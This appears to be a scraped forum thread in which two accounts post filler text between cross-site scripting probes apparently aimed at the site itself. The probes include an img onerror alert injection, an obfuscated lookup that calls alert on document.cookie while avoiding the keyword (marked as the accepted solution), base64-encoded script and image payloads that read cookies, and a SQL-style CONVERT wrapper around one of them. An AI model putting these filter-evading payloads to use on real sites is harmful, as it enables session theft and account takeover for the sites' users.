my music dog

[reser]

my music dog

[reser]

cool this is mine

[reser1]

ki

[reser1]

l

[reser1]

cool

[reser1]

hhh

[reser]

<><img src=1 onerror=alert(1)>

[reser1]

hi

[reser1]

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}

[reser]

self[Object.keys(self)[a()]](document.cookie)

[reser]

cool

[reser · Accepted solution]

self[Object.keys(self)[a()]](document.cookie)

[reser1]

k

[reser1]

hh

[reser1]

LyI8PjxpbWcgc3JjPSJ4IiBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSk+

[reser1]

PHNjcmlwdD4gICB2YXIgbXlJbWFnZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImltZyIpOyAgIG15SW1hZ2Uuc3JjID0gIjEiOyAgIG15SW1hZ2Uub25sb2FkID0gZnVuY3Rpb24oKSB7ICAgICBhbGVydCgiSW1hZ2UgbG9hZGVkIHN1Y2Nlc3NmdWxseSIpOyAgIH07ICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChteUltYWdlKTsgPC9zY3JpcHQ+

[reser1]

lk

[reser1]

CONVERT(PHNjcmlwdD4gICB2YXIgbXlJbWFnZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImltZyIpOyAgIG15SW1hZ2Uuc3JjID0gIjEiOyAgIG15SW1hZ2Uub25sb2FkID0gZnVuY3Rpb24oKSB7ICAgICBhbGVydCgiSW1hZ2UgbG9hZGVkIHN1Y2Nlc3NmdWxseSIpOyAgIH07ICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChteUltYWdlKTsgPC9zY3JpcHQ+ USING utf8)

[reser1]

CONVERT(PHNjcmlwdD4gICB2YXIgbXlJbWFnZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImltZyIpOyAgIG15SW1hZ2Uuc3JjID0gIjEiOyAgIG15SW1hZ2Uub25sb2FkID0gZnVuY3Rpb24oKSB7ICAgICBhbGVydCgiSW1hZ2UgbG9hZGVkIHN1Y2Nlc3NmdWxseSIpOyAgIH07ICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChteUltYWdlKTsgPC9zY3JpcHQ+ USING utf8)

[reser]

k